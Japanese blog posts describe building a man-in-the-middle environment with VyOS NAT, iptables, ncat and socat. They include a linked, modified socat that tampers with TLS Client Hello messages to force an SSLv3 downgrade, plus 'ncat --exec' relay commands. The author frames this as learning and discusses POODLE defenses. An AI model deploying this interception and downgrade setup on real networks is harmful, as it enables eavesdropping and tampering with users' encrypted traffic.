まず目をつけたのが、nf_nat_ipv4_manip_pkt 関数でした。この関数で iph という iphdr 構造体の変数の中の宛先、または送信元のアドレスを書き換えているように見えます。実際にデバッガーで確かめると、iptables で設定した値でオリジナルのアドレスを書き換えていました。アドレスを書き換えているところの少し前で、l4proto->manip_pkt() を呼び出しています。プロトコルが TCP の場合は、ここから tcp_manip_pkt が呼ばれ、TCP のポートが書き換えられています。l4proto というのは、Layer 4 プロトコルのことで、TCP や UDP が該当するということです。けっこう分かりやすいです。

ユーザーモード側から欲しい情報は、ここで変更されてしまう iph 側に入っている値ですが、nf_nat_ipv4_manip_pkt は一方的に値を上書きしてしまうロジックになっていて、変更前の値をどこかに保存することはありません。最初は iphdr 構造体にオリジナルの値が入っているのかと思いましたが、この構造体はパケット内の IP ヘッダーそのものであり、オリジナルのアドレスは持っていません。したがって、この関数が呼ばれる時点では、既にオリジナルのアドレスはどこかに退避されているはずです。

そこで目をつけたのは、オリジナルが入っているけれども上書きされてしまう iph ではなく、転送先の情報を持っている nf_conntrack_tuple 構造体の target という変数です。target がどこから生まれるかを辿れば、その場所には iptables で設定した情報があるわけで、オリジナルの情報も管理されているだろう、という推測です。コール スタックを 1 フレーム遡ると、nf_nat_packet の中で、nf_ct_invert_tuplepr(&target, &ct->tuplehash[!dir].tuple) という呼び出し箇所があり、ここで target が設定されています。nf_ct_invert_tuplepr は destination と source を入れ替えているだけのようなので、NAT で置き換える情報は、ct->tuplehash に入っていると分かります。ct は nf_conn 構造体で、名前から Netfilter の Connection 情報を保持しているような感じです。これは期待できます。

そこで nf_nat_packet において、ct->tuplehash の値を見てみました。貼り付けてもあまり意味がないのですが、出力はこんな感じでした。

(gdb) p ((struct nf_conn*)$rdi)->tuplehash[0]
$12 = {hnnode = {next = 0x80000001, pprev = 0xffffe8ffffc01158}, tuple = {src = {u3 = {all = {1174513856, 0, 0, 0},
        ip = 1174513856, ip6 = {1174513856, 0, 0, 0}, in = {s_addr = 1174513856}, in6 = {in6_u = {
            u6_addr8 = "\300\25001F", ’00’ <repeats 11 times>, u6_addr16 = {43200, 17921, 0, 0, 0, 0, 0, 0},
            u6_addr32 = {1174513856, 0, 0, 0}}}}, u = {all = 40191, tcp = {port = 40191}, udp = {port = 40191},
        icmp = {id = 40191}, dccp = {port = 40191}, sctp = {port = 40191}, gre = {key = 40191}}, l3num = 2}, dst = {
      u3 = {all = {2886347368, 0, 0, 0}, ip = 2886347368, ip6 = {2886347368, 0, 0, 0}, in = {s_addr = 2886347368},
        in6 = {in6_u = {u6_addr8 = "h*\n\254", ’00’ <repeats 11 times>, u6_addr16 = {10856, 44042, 0, 0, 0, 0, 0,
              0}, u6_addr32 = {2886347368, 0, 0, 0}}}}, u = {all = 47873, tcp = {port = 47873}, udp = {port = 47873},
        icmp = {type = 1 ’01’, code = 187 ‘\273’}, dccp = {port = 47873}, sctp = {port = 47873}, gre = {
          key = 47873}}, protonum = 6 ’06’, dir = 0 ’00’}}}
(gdb) p ((struct nf_conn*)$rdi)->tuplehash[1]
$13 = {hnnode = {next = 0x33d9 <irq_stack_union+13273>, pprev = 0xdcbddf4e}, tuple = {src = {u3 = {all = {335653056,
          0, 0, 0}, ip = 335653056, ip6 = {335653056, 0, 0, 0}, in = {s_addr = 335653056}, in6 = {in6_u = {
            u6_addr8 = "\300\2500124", ’00’ <repeats 11 times>, u6_addr16 = {43200, 5121, 0, 0, 0, 0, 0, 0},
            u6_addr32 = {335653056, 0, 0, 0}}}}, u = {all = 14860, tcp = {port = 14860}, udp = {port = 14860}, icmp = {
          id = 14860}, dccp = {port = 14860}, sctp = {port = 14860}, gre = {key = 14860}}, l3num = 2}, dst = {u3 = {
        all = {1174513856, 0, 0, 0}, ip = 1174513856, ip6 = {1174513856, 0, 0, 0}, in = {s_addr = 1174513856}, in6 = {
          in6_u = {u6_addr8 = "\300\25001F", ’00’ <repeats 11 times>, u6_addr16 = {43200, 17921, 0, 0, 0, 0, 0,
              0}, u6_addr32 = {1174513856, 0, 0, 0}}}}, u = {all = 40191, tcp = {port = 40191}, udp = {port = 40191},
        icmp = {type = 255 ‘\377’, code = 156 ‘\234’}, dccp = {port = 40191}, sctp = {port = 40191}, gre = {
          key = 40191}}, protonum = 6 ’06’, dir = 1 ’01’}}}

32bit 整数になっていますが、3 種類の IPv4 アドレスの情報があります。このうち、104.42.10.172 が ubuntu-web.cloudapp.net を示すオリジナル アドレスです。192.168.1.70 はクライアントのアドレス、192.168.1.20 は NAT を行っているルーター自身のアドレスです。

2886347368 = 104.42.10.172
1174513856 = 192.168.1.70
335653056 = 192.168.1.20

ということで、欲しい情報は ct->tuplehash に入っていることが確認できました。ユーザーモード側にはソケットのファイル デスクリプターしかないので、これをもとに nf_conn 情報までたどり着くことができれば、値を取ってくることができます。

肝心なその後の記憶があやふやなのですが、何かのきっかけで以下の定義を見つけ、getorigdst 関数の定義を見るとまさに tuplehash の情報を返していました。そこで SO_ORIGINAL_DST で検索し、getsockopt に SO_ORIGINAL_DST を渡すと NAT 前のアドレスが取れると分かりました。流れはそんな感じです。

static struct nf_sockopt_ops so_getorigdst = {
    .pf     = PF_INET,
    .get_optmin = SO_ORIGINAL_DST,
    .get_optmax = SO_ORIGINAL_DST+1,
    .get        = getorigdst,
    .owner      = THIS_MODULE,
};

以前の記事で、socat というツールを使って、NAT されたパケットを明示的に指定した宛先にリレーして、透過プロキシの動作を実現させました。socat を少し書き換えて、SO_ORIGINAL_DST で取得した宛先に自動的にパケットをリレーできるようにしたのがこちらです。これで、443/tcp ポートであれば、どのサーバーに対するリクエストもト中継することができるようになりました。

https://github.com/msmania/poodim/tree/poodim-dev

以前は、VyOS を使ったルーターの他に、Squid というプロキシ用のサーバーと合わせて 2 台からなるルーティングの環境を作りました。よりシンプルな構成として、ルーティングとポート フォワードを 1 台のマシンで兼用することももちろん可能です。そこで、VyOS 上にルーティングの機能をまとめた環境を作ってみましたので、その手順を紹介します。VyOS ではなく、Ubuntu Server の iptables の設定だけで同様の環境を作ることもできると思います。

最終的には、このような構成になります。

capture2

前回の構成では、VyOS 上で Source NAT という機能を使って eth0 から eth1 へのルーティングを実現しました。その名の通り、宛先アドレスはそのままに、送信元のアドレスをルーターの eth1 側のアドレスに変更します。ここで送信元のアドレスを変更しなくても、eth1 からパケットを送信してしまえば、宛先になるサーバーのアドレスにパケットは届くことは届くでしょう。しかし、サーバーからの応答における宛先のアドレスが内部ネットワーク、すなわちルーターの eth0 側にあるクライアントアドレスになるので、サーバーからの応答はおかしなところに送信されてしまいます。サーバーからの応答が、正しくルーターの eth1 に返ってくるようにするため、Source NAT を行ないます。

Source NAT に加えて、PBR (= Policy Based Routing) の設定を行ない、443/tcp ポート宛てのパケットは、特例として Source NAT が行なわれる前に Squid サーバーにルーティングされるように設定しました。これはあくまでも MAC アドレス レベルの変更で、イーサネット フレームのレイヤーより上位層は変更されません。Squid サーバー側では、このルーティングされてきた 443/tcp ポート宛のパケットのポートを 3130/tcp に変更しました。このとき同時に、IP アドレスも Squid サーバーのアドレスに書き換わっているため、Squid サーバーで動くプログラムが受信できました。

1 台でこれを実現する場合、443/tcp ポート宛のパケットに対しては宛先 IP アドレスを自分、TCP ポートを 3130/tcp に変更するようなルールを作ることができれば OK です。この機能は、宛先を書き換えるので Destination NAT と呼ばれます。

User Guide – VyOS
http://vyos.net/wiki/User_Guide

あとは VyOS のユーザー ガイドに沿って設定するだけです。まずは前回の PBR の設定を消します。全部消してから一気に commit しようとするとエラーになるので、 無難に 1 つずつ commit して save します。

$ configure
# delete interfaces ethernet eth0 policy route PROXYROUTE
# commit
# delete protocols static table 100
# commit
# delete policy route PROXYROUTE
# commit
# save
# exit
$

Destination NAT の設定を行ないます。eth0 だけでなく、外から 443/tcp 宛てのパケットが来た場合も、同じように自分自身の 3130/tcp ポートに転送するように設定しておきます。iptables の REDIRECT の設定とは異なり、translation address も明示的に設定する必要があります。最終的には同じようなコマンドが netfilter に届くのだと思いますが。

$ configure
# set nat destination rule 100 description ‘Port forward of packets from eth0’
# set nat destination rule 100 inbound-interface ‘eth0’
# set nat destination rule 100 protocol ‘tcp’
# set nat destination rule 100 destination port ‘443’
# set nat destination rule 100 translation port ‘3130’
# set nat destination rule 100 translation address ‘10.10.90.12’
# set nat destination rule 110 description ‘Port forward of packets from eth1’
# set nat destination rule 110 inbound-interface ‘eth1’
# set nat destination rule 110 protocol ‘tcp’
# set nat destination rule 110 destination port ‘443’
# set nat destination rule 110 translation port ‘3130’
# set nat destination rule 110 translation address ‘10.10.90.12’
# commit
# save
# exit
$

まだ、VyOS 上で 3130/tcp をリッスンするプログラムが無いので、クライアントから HTTPS のサイトへはアクセスできません。次に、SO_ORIGINAL_DST オプションを使うように変更した socat をインストールします。

といっても、VyOS にはまだ gcc などの必要なツールが何もインストールされていないので、パッケージのインストールから始めます。VyOS では apt-get コマンドが使えますが、既定のリポジトリにはほとんど何も入っていないので、リポジトリのパスを追加するところからやります。どのリポジトリを使ってもいいのですが、他のマシンが Ubuntu なので Ubuntu のリポジトリを設定しました。

$ configure
# set system package repository trusty/main components main
# set system package repository trusty/main url
http://us.archive.ubuntu.com/ubuntu/
# set system package repository trusty/main distribution trusty
# set system package repository trusty/universe components universe
# set system package repository trusty/universe url
http://us.archive.ubuntu.com/ubuntu/
# set system package repository trusty/universe distribution trusty
# commit
# save
# exit
$

あとは Ubuntu と同じです。まずはリポジトリから最新情報を持ってきます。すると、2 つのパッケージで公開鍵がないというエラーが起きます。

vyos@vyos:~$ sudo apt-get update
Get:1
http://us.archive.ubuntu.com trusty Release.gpg [933 B]
Get:2
http://us.archive.ubuntu.com/ubuntu/ trusty/main Translation-en [943 kB]
Hit
http://packages.vyos.net helium Release.gpg
Ign
http://packages.vyos.net/vyos/ helium/main Translation-en
Hit
http://packages.vyos.net helium Release
Hit
http://packages.vyos.net helium/main amd64 Packages
Get:3
http://us.archive.ubuntu.com/ubuntu/ trusty/universe Translation-en [5063 kB]
Get:4
http://us.archive.ubuntu.com trusty Release [58.5 kB]
Ign
http://us.archive.ubuntu.com trusty Release
Get:5
http://us.archive.ubuntu.com trusty/main amd64 Packages [1743 kB]
Get:6
http://us.archive.ubuntu.com trusty/universe amd64 Packages [7589 kB]
Fetched 15.4 MB in 13s (1119 kB/s)
Reading package lists… Done
W: GPG error:
http://us.archive.ubuntu.com trusty Release: The following signatures couldn’t be verified because the public key is not available: NO_PUBKEY 40976EAF437D05B5 NO_PUBKEY 3B4FE6ACC0B21F32
vyos@vyos:~$

今回使うパッケージではないので無視してもいいですが、気持ち悪いので対応しておきます。

vyos@vyos:~$ sudo apt-key adv –keyserver keyserver.ubuntu.com –recv-keys 40976EAF437D05B5
Executing: gpg –ignore-time-conflict –no-options –no-default-keyring –secret-keyring /etc/apt/secring.gpg –trustdb-name /etc/apt/trustdb.gpg –keyring /etc/apt/trusted.gpg –primary-keyring /etc/apt/trusted.gpg –keyserver keyserver.ubuntu.com –recv-keys 40976EAF437D05B5
gpg: requesting key 437D05B5 from hkp server keyserver.ubuntu.com
gpg: key 437D05B5: public key "Ubuntu Archive Automatic Signing Key <ftpmaster@ubuntu.com>" imported
gpg: no ultimately trusted keys found
gpg: Total number processed: 1
gpg:               imported: 1
vyos@vyos:~$ sudo apt-key adv –keyserver keyserver.ubuntu.com –recv-keys 3B4FE6ACC0B21F32
Executing: gpg –ignore-time-conflict –no-options –no-default-keyring –secret-keyring /etc/apt/secring.gpg –trustdb-name /etc/apt/trustdb.gpg –keyring /etc/apt/trusted.gpg –primary-keyring /etc/apt/trusted.gpg –keyserver keyserver.ubuntu.com –recv-keys 3B4FE6ACC0B21F32
gpg: requesting key C0B21F32 from hkp server keyserver.ubuntu.com
gpg: key C0B21F32: public key "Ubuntu Archive Automatic Signing Key (2012) <ftpmaster@ubuntu.com>" imported
gpg: no ultimately trusted keys found
gpg: Total number processed: 1
gpg:               imported: 1  (RSA: 1)

もう一度 apt-get update します。今度はうまくいきました。

vyos@vyos:~$ sudo apt-get update
Get:1
http://us.archive.ubuntu.com trusty Release.gpg [933 B]
Hit
http://us.archive.ubuntu.com/ubuntu/ trusty/main Translation-en
Hit
http://us.archive.ubuntu.com/ubuntu/ trusty/universe Translation-en
Get:2
http://us.archive.ubuntu.com trusty Release [58.5 kB]
Get:3
http://us.archive.ubuntu.com trusty/main amd64 Packages [1743 kB]
Hit
http://packages.vyos.net helium Release.gpg
Ign
http://packages.vyos.net/vyos/ helium/main Translation-en
Hit
http://packages.vyos.net helium Release
Hit
http://packages.vyos.net helium/main amd64 Packages
Get:4
http://us.archive.ubuntu.com trusty/universe amd64 Packages [7589 kB]
Fetched 9333 kB in 6s (1476 kB/s)
Reading package lists… Done
vyos@vyos:~$

必要なパッケージをインストールします。

$ sudo apt-get install vim
$ sudo apt-get install build-essential libtool manpages-dev gdb git
$ sudo apt-get install autoconf yodl

VyOS に既定で入っている Vi は、Tiny VIM という必要最小限の機能しか持たないもので、例えば矢印キーが使えない、ソースコードの色分けをやってくれない、などいろいろ不便なので、Basic VIM を入れます。

socat を Git からクローンすると、configure ファイルが含まれていないので、autoconf で作る必要があります。yodl は、socat のビルドに必要でした。マニュアルの HTML 生成に必要なようです。

インストールが終わったら、あとはリポジトリをクローンしてビルドします。

$ git clone -b poodim-dev https://github.com/msmania/poodim.git poodim
$ cd poodim/
$ autoconf
$ CFLAGS="-g -O2" ./configure –prefix=/usr/local/socat/socat-poodim
$ make

わざわざインストールする必要もないので、そのまま実行します。-d を 3 つ付けると、Info レベルまでのログを出力します。

vyos@vyos:~/poodim$ ./socat -d -d -d TCP-LISTEN:3130,fork TCP:dummy.com:0
2015/01/16 05:45:08 socat[7670] I socat by Gerhard Rieger – see http://www.dest-unreach.org
2015/01/16 05:45:08 socat[7670] I setting option "fork" to 1
2015/01/16 05:45:08 socat[7670] I socket(2, 1, 6) -> 3
2015/01/16 05:45:08 socat[7670] I starting accept loop
2015/01/16 05:45:08 socat[7670] N listening on AF=2 0.0.0.0:3130

前回と違うのは、転送先のアドレスとポート番号に適当な値を指定しているところです。3130/tcp 宛てのパケットを受信すると、そのソケットに対して SO_ORIGINAL_DST オプションを使ってオリジナルの宛先情報を取得し、そこにパケットを転送します。これが今回の変更の目玉であり、これによって、任意のアドレスに対する 443/tcp の通信を仲介することができるようになりました。

例えばクライアントから google.com に繋ぐと、新たに追加した以下のログが出力され、ダミーの代わりにオリジナルのアドレスに転送されていることが分かります。

2015/01/16 05:50:24 socat[7691] N forwarding data to TCP:216.58.216.142:443 instead of TCP:dummy.com:0

これで、宛先アドレスの問題が解決し、完全な透過プロキシとしての動作が実現できました。

実はこの改変版 socat には、もう一点仕掛けがあります。2015/1/15 現在は、Google 検索のページには接続できますが、同じく HTTPS 通信を行う facebook.com や twitter.com には接続できないはずです。

かなり雑な実装ですが、TLSv1.x のプロトコルによる Client Hello を検出したら、パケットの内容を適当に改竄してサーバーが Accept しないように細工を行ないました。これによって何が起こるかというと、クライント側から見たときには TLSv1.x のコネクションは常に失敗するので唯一の選択肢である SSLv3.0 の Client Hello を送るしかありません。一方のサーバー側では、SSLv3.0 の Client Hello がいきなり送られてきたようにしか見えません。結果として、クライアント、サーバーがともに TLSv1.x をサポートしているにもかかわらず、MITM 攻撃によって強制的に SSLv3.0 を使わせる、という手法が成り立ちます。

昨年末に POODLE Attack という名前の脆弱性が世間を騒がせましたが、これは SSLv3.0 には根本的な脆弱性が存在し、もはや使用するのは危険になったことを意味します。さらに、クライアントとサーバーが TLS に対応しているだけでも不十分である、ということが今回の例から分かると思います。簡単に言えば、クライアントもサーバーも、SSLv3.0 を使えるべきではないのです。

現在最新の Chrome、IE、Firefox では、ブラウザーがこのフォールバックを検出した時点で、サイトへのアクセスはブロックされます。

Google、「Chrome 40」でSSL 3.0を完全無効化へ – ITmedia エンタープライズ
http://www.itmedia.co.jp/enterprise/articles/1411/04/news050.html

IE 11の保護モード、SSL 3.0へのフォールバックをデフォルトで無効に – ITmedia エンタープライズ
http://www.itmedia.co.jp/enterprise/articles/1412/11/news048.html

サーバー側では、2014 年 10 月半ばにリリースされた Openssl-1.0.1j において、フォールバック検出時に新たなエラー コードを返す実装が追加されています。Apache など、OpenSSL を SSL のモジュールとして使うサーバーは、この機能によって対応がなされると考えられます。この OpenSSL の防御機能は、パケットからアラート コードを見ると判断できます。実際に確かめていませんが、twitter.com と facebook.com は OpenSSL で防御されているはずです。

OpenSSL Security Advisory [15 Oct 2014]
https://www.openssl.org/news/secadv_20141015.txt

この次のステップとしては、当然 socat に POODLE を実装することなのですが、もし実装できたとしてもさすがに公開する勇気は・・。

Setting up a transparent proxy over SSL #4 – netcat/socat

ここまで Squid で透過/非透過プロキシを設定しました。原理的に SSL だとプロキシできないことも分かりました。で、お前は一連の作業で一体何をしたいんだ、ということを白状すると、MITM (= Man-in-the-middle attack; 中間者攻撃) の環境を 1 から用意しようとしていました。クライアントとサーバーの間のネットワークに侵入して、パケットを盗んだり改竄したりする攻撃手法です。MITM を作るためのツールやプラットフォームは多々あるのでしょうが、それらを使わずに実現したいのです。

調べていくと、Linux カーネルのネットワーク実装がとても柔軟で、iptables コマンドを使えば NAT や IP マスカレードが自由に行えることが分かりました。この時点で、NIC を 2 枚持つ Linux マシンを立ててカーネルを弄れば、お好みの MITM 環境が完成♪ ということになります。しかし、私自身がまだ Linux カーネルとはよい関係を築けていないので、できればユーザー モードでやりたい、という考えがありました。しかも iptales の実装は魔境だという情報もありましたし。そこで、適当なオープン ソースのプロキシ サーバー (今回は Squid) を使えば、ソケットのやり取りとかの面倒な部分は省いて、純粋にデータだけを弄れるんじゃないかという発想になりました。しかしこれまで説明したように、SSL の場合はプロキシではなくトンネリングになります。でも今回の目的であればトンネリングだとしても、SSL パケットがユーザー モードの Squid を通過するので全く問題がありません。むしろ好都合なぐらいです。

Squid のコードを見ると、トンネリングは ClientHttpRequest::processRequest の中で HTTP CONNECT メソッドを検出したときに tunnelStart() を呼ぶところから始まるようです。しかし CONNECT は非透過プロキシでは使われません。MITM をするのにプロキシの設定が必要、なんてのはさすがにかっこ悪いものです。

透過プロキシのポートに SSL のパケットを流入させると、Squid はパケットの内容が読めないのでエラーを出力します。このエラーは、parseHttpRequest() から HttpParserParseReqLine() を呼んで、戻り値が -1 になることで発生しています。HTTP メッセージのパースは、HttpParser::parseRequestFirstLine() で行われていますが、この関数は HTTP ペイロードをテキストだと想定して "HTTP/" といった文字列を検索しています。実際にデバッガーで確認すると、SSL パケットが来たときには HttpParser::buf の内容が "16 03 00 00 35 01 00 00 …" のように SSL Client Hello の内容になっています。したがって、HTTP のパースの時に Client Hello を見つけたらトンネリングを開始するように実装を変えれば、Squid は透過プロキシとして、SSL ではトンネリングを行なうようにできます。

しかしここまで考えると、トンネリングなんてデータを受け流すだけの簡単なお仕事であり、わざわざ Squid のような大きなプログラムを変更するのは労力の無駄に思えます。2 つソケットを用意して何も考えずに双方向にデータを転送すればいいのだから、むしろ 1 からプログラムを書いた方が簡単、というか絶対誰かそういうのを作っているはず、ということで見つけました。netcat 及び socat というプログラムです。

4.socat による TCP リレー

netcat には流派があり、使えるオプションがそれぞれ異なります。少なくとも以下の 3 種類見つけました。

  • GNU Netcat (TCP/IP swiss army knife)
    netcat-traditional とも呼ばれる。VyOS には /bin/nc.traditional というファイル名でインストールされている。
  • OpenBSD Netcat
    Ubuntu Server に /bin/nc.openbsd というファイル名でインストールされている。nc というエイリアスで実行すると大体これ。
  • NMap Netcat
    NMap という素敵なツールと一緒に開発されている。ncat というエイリアスで実行すると大体これ。

netcat の便利なところは、ストリーム ソケットからのデータを標準出力や標準入力などのストリームに転送でき、スクリプトやプログラムに渡せるところです。今回実現させたいのは、ルーティングによってプロキシ サーバーに来た 443/tcp ポート宛てのパケットを、本来の Web サーバーに渡すことです。ただし、前回の記事の後半で試しましたが、VyOS からやってきた 80/tcp ポート宛てのパケットは、そのままだと Squid が受信することはできず、iptables によるポート転送が必要でした。今回も同様と考えられるので、プロキシ サーバー側で 443/tcp ポート宛てのパケットは 3130/tcp に転送することにします。これでプロキシ サーバーが待機するポートは 3 つになります。

  • 3128/tcp — Squid 非透過プロキシ用ポート (HTTP だとプロキシ、HTTP CONNECT が来るとトンネリングを開始)
  • 3129/tcp — Squid HTTP 透過 プロキシ用ポート
  • 3130/tcp — 443/tcp パケットのトンネリング用

この後行ないたいのは、3130/tcp ポートに来たパケットを Web サーバーにリレーすることです。これは以下のコマンドで実現できます。3130/tcp ポートで待機しておいて、パケットが来たら新たに ncat プロセスを起動して、Web サーバーの 443/tcp ポートに送信するというコマンドです。ここで使っている -e オプションは NMap Netcat 特有のものです。

$ ncat -e "ncat www.somewhere.com 443" -l 3130 -k

しかしここで非透過プロキシのときと同じ、「宛先の Web サーバーはどこにすればいいのか」 という問題が出てきます。これについては後で書くことにして、ここでは標的を決め打ちして、とりあえず全部 https://ubuntu-web.cloudapp.net/ に転送するようにしておきます。

Ubuntu Server に NMap Netcat は入っていないので、インストールから行ないます。後でコードを変更する可能性があるので、ソースからビルドします。本家サイトは以下。2015/1/9 現在の最新版は 6.47 です。

Download the Free Nmap Security Scanner for Linux/MAC/UNIX or Windows
http://nmap.org/download.html

実行したコマンドは以下の通り。ncat だけ使えればいいので、外せるものは外しました。OpenSSL はビルドしたものをリンクさせます。

$ wget http://nmap.org/dist/nmap-6.47.tar.bz2
$ tar -jxvf nmap-6.47.tar.bz2
$ cd nmap-6.47/
$ ./configure –prefix=/usr/local/nmap/nmap-6.47 \
> –with-openssl=/usr/local/openssl/current \
> –without-ndiff \
> –without-zenmap \
> –without-nping \
> –without-liblua \
> –without-nmap-update
$ make
$ sudo make install
$ sudo ln -s /usr/local/nmap/nmap-6.47 /usr/local/nmap/current
$ sudo ln -s /usr/local/nmap/current/bin/ncat /bin/ncat

make install を行なうと、strip コマンドが実行され、シンボル情報が消されてからインストールが行われます。インストールした後のバイナリでデバッグを行う場合には、Makefile を変更する必要があります。

install: $(TARGET)
        @echo Installing Ncat;
        $(SHTOOL) mkdir -f -p -m 755 $(DESTDIR)$(bindir) $(DESTDIR)$(mandir)/man1
        $(INSTALL) -c -m 755 ncat $(DESTDIR)$(bindir)/ncat
        # $(STRIP) -x $(DESTDIR)$(bindir)/ncat
        if [ -n "$(DATAFILES)" ]; then \
                $(SHTOOL) mkdir -f -p -m 755 $(DESTDIR)$(pkgdatadir); \
                $(INSTALL) -c -m 644 $(DATAFILES) $(DESTDIR)$(pkgdatadir)/; \
        fi
        $(INSTALL) -c -m 644 docs/$(TARGET).1 $(DESTDIR)$(mandir)/man1/$(TARGET).1

インストールはこれで終わりです。プロキシ サーバー上でポート転送の設定を行います。

$ sudo iptables -t nat -A PREROUTING -i eth0 -p tcp –dport 443 \
> -j REDIRECT –to-port 3130
john@ubuntu-proxy:~$ sudo iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
REDIRECT   tcp  –  anywhere             anywhere             tcp dpt:http redir ports 3129
REDIRECT   tcp  –  anywhere             anywhere             tcp dpt:https redir ports 3130

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
john@ubuntu-proxy:~$

次に、VyOS 上で、80/tcp に加えて 443/tcp もプロキシ サーバーにルーティングされるようにルールを追加します。

$ configure
# set policy route PROXYROUTE rule 110 protocol tcp
# set policy route PROXYROUTE rule 110 destination address 0.0.0.0/0
# set policy route PROXYROUTE rule 110 destination port 443
# set policy route PROXYROUTE rule 110 source address 10.10.0.0/16
# set policy route PROXYROUTE rule 110 source mac-address !00:15:5d:01:02:12
# set policy route PROXYROUTE rule 110 set table 100
# commit
# save
# exit
$

あとは ncat を起動するだけです。とても高機能ではありますが、言ってしまえば Netcat は単なるソケット通信プログラムなので、root 権限は必要ありません。

$ ncat -version
Ncat: Version 6.47 (
http://nmap.org/ncat )
Ncat: You must specify a host to connect to. QUITTING.

$ ncat –listen 3130 –keep-open \
> –exec "/usr/local/nmap/current/bin/ncat ubuntu-web.cloudapp.net 443"

外部プログラムを起動するオプションには、–exec  (-e) と –sh-exec (-c) の 2 種類があります。前者は実行可能ファイルを直接実行するオプションで、後者はシェル経由でプロセスを実行します。今回はスクリプトを使う予定はないので、シェルを介在することのオーバーヘッドを嫌って –exec を使いました。そのため、相対パスではなく絶対パスが必要です。

クライアント側でプロキシの設定がされていないことを確認し、https://ubuntu-web.cloudapp.net/ にアクセスできることを確認します。また、ncat を終了するとサイトにアクセスできなくなります。今回はオリジナルの宛先に関わらず、全部のパケットを ubuntu-web に転送するので、それ以外の HTTPS サイトを見ることはできません。本来は VyOS の PBR、もしくはプロキシ サーバーの iptables で、宛先の IP アドレスによるフィルタリングが必要です。

これで、MITM の環境はほぼ整いました。ですが、リレーするのにわざわざ新しいプロセスを起動するのがスマートではありません。もっと単純に、2 つのソケットを扱えるプログラムはないのかと探したところ、見つけました。それが socat です。なんと、はてな検索のサイトで見つけました。

Linux で、TCP 接続に (というか IP パケットに) 何も手を加えず… – 人力検索はてな
http://q.hatena.ne.jp/1262698535

socat の本家サイトはこちらです。nmap や socat に関しては、ペネトレーション テストという名のものとで行われるハッキング ツールとも言えそうです。サイトも玄人志向な感じです。

socat
http://www.dest-unreach.org/socat/

ncat が手を一本しか持っていないのに対し、socat は二本持っています。まさに探していたものです。さっそくビルドします。2015/1/9 現在の最新バージョンは 1.7.2.4 です。デフォルトでコンパイル オプションに -g が付かないので、configure のときに明示的につけておきます。

$ wget http://www.dest-unreach.org/socat/download/socat-1.7.2.4.tar.bz2
$ tar -jxvf socat-1.7.2.4.tar.bz2
$ cd socat-1.7.2.4/
$ CFLAGS="-g -O2" ./configure –prefix=/usr/local/socat/socat-1.7.2.4
$ make
$ sudo make install
$ sudo ln -s /usr/local/socat/socat-1.7.2.4 /usr/local/socat/current
$ sudo ln -s /usr/local/socat/current/bin/socat /bin/socat

TCP リレーを行うためのコマンドは以下の通りです。これはかなり直観的です。素晴らしい。

$ socat TCP-LISTEN:3130,fork TCP:ubuntu-web.cloudapp.net:443

socat は、ソケットが閉じられたときにプロセスが終了するように作られています。一回の起動で複数のセッションを処理するためには、fork キーワードが必要です。こうすることで、セッション開始時にプロセスをフォークしてくれるので、次のセッションにも対応できるようになります。この仕様は不便なようにも感じますが、プロセスが処理しているセッションが必ず一つに限られるので、デバッグは楽になりそうです。

socat の中で実際にデータを扱っている関数は xiotransfer() です。ここで buff を弄れば、好きなようにパケットを改竄できます。シンプルでいい感じ。

これで環境はできました。残る課題は、転送先のアドレスを知る方法です。まだ実装していませんが、実現できそうなアイディアはあります。前回の記事の最後でパケットを採取しました。このとき、PBR によって VyOS から Squid サーバーに送られてきたパケットの先頭の宛先 IP アドレスは、tcpdump がデータを採取した段階ではまだ最終目的地の Web サーバーになっていました。これが iptables のルールを受けて変更され、Squid が受け取った時には宛先アドレスは分からなくなってしまうのです。つまり、プロキシ サーバーの OS 視点から見ればオリジナルのアドレスは分かっているのです。あくまでも、Squid などのユーザー モードから見えない、というだけの話です。

ソケット プログラミングでサーバーを書くときの基本の流れは、socket() –> bind() –> listen() –> accept() –> recv() となります。accept() を呼ぶと待ち状態に入って、データを受信すると制御が返ります。bind() のところで、待機する IP アドレスやポートを指定できますが、IP アドレスには INADDR_ANY を指定すると、すべてのインタフェースからのデータを受信できるようになります。マシンが複数の IP アドレスを持っている場合、データを受信した後に、どの IP アドレスでデータを受信したのかを知りたいことがあります。そんなときは、accept() の戻り値に対して getsockname() 関数を呼び出すことができます。

getsockname(2): socket name – Linux man page
http://linux.die.net/man/2/getsockname

試しに、PBR されてきたパケットに対して getsockname() を呼び出してみましたが、返ってきたのはオリジナルの宛先アドレスではなく、やはり自分のアドレスに変更されていました。まだ試していませんが、以下のページに説明がある IP_ORIGDSTADDR メッセージを取得すれば、オリジナルのアドレスを取得できそうなのですが、今のところ上手く動いてくれません。もし駄目だった場合は、Linux カーネルを弄るしかないようです。

ip(7): IPv4 protocol implementation – Linux man page
http://linux.die.net/man/7/ip

(2015/1/19 追記)
以下の記事に書きましたが、オリジナルのアドレスは getsockopt に対して SO_ORIGINAL_DST オプションを渡すことで簡単に取得できました。IP_RECVORIGDSTADDR/IP_ORIGDSTADDR に関しては、カーネルのコードを見ると ip_cmsg_recv_dstaddr というそれっぽい関数があるのですが、ip_recv_error 経由でしか呼び出されません。ユーザー モード側からフラグとして MSG_ERRQUEUE を渡して recvmsg を呼ぶと、ip_recv_error にたどり着くところまでは確認しました。あまり深く追いかけていませんが TCP のストリーム ソケットに対して IP_ORIGDSTADDR を使うことは想定されていないようです。

How to get the original address after NAT | すなのかたまり
https://msmania.wordpress.com/2015/01/15/how-to-get-the-original-address-after-nat/

最後に補足情報を。SSL の透過プロキシについて調べているときに、以下の OKWave の質問スレッドを見つけました。この中のアイディアが面白かったので紹介します。

透過型プロキシのHTTPS通信 【OKWave】
http://okwave.jp/qa/q6553861.html?by=datetime&order=ASC#answer

クライアントからCONNECTリクエストを受信したのち,本来のCONNECT先のホスト名のサーバとSSLハンドシェイクを行って,サーバ証明書を取得し,それと同じCNを持つ証明書をつくり,プロキシが署名します.で,それを使ってクライアントとsslハンドシェイクします.クライアントには,プロキシの署名が信頼できるものだとするために,ルート証明書をインストールしておきます.つまり,プロキシはCONNECTが来るまで,どのサーバに接続するかしらないということです.

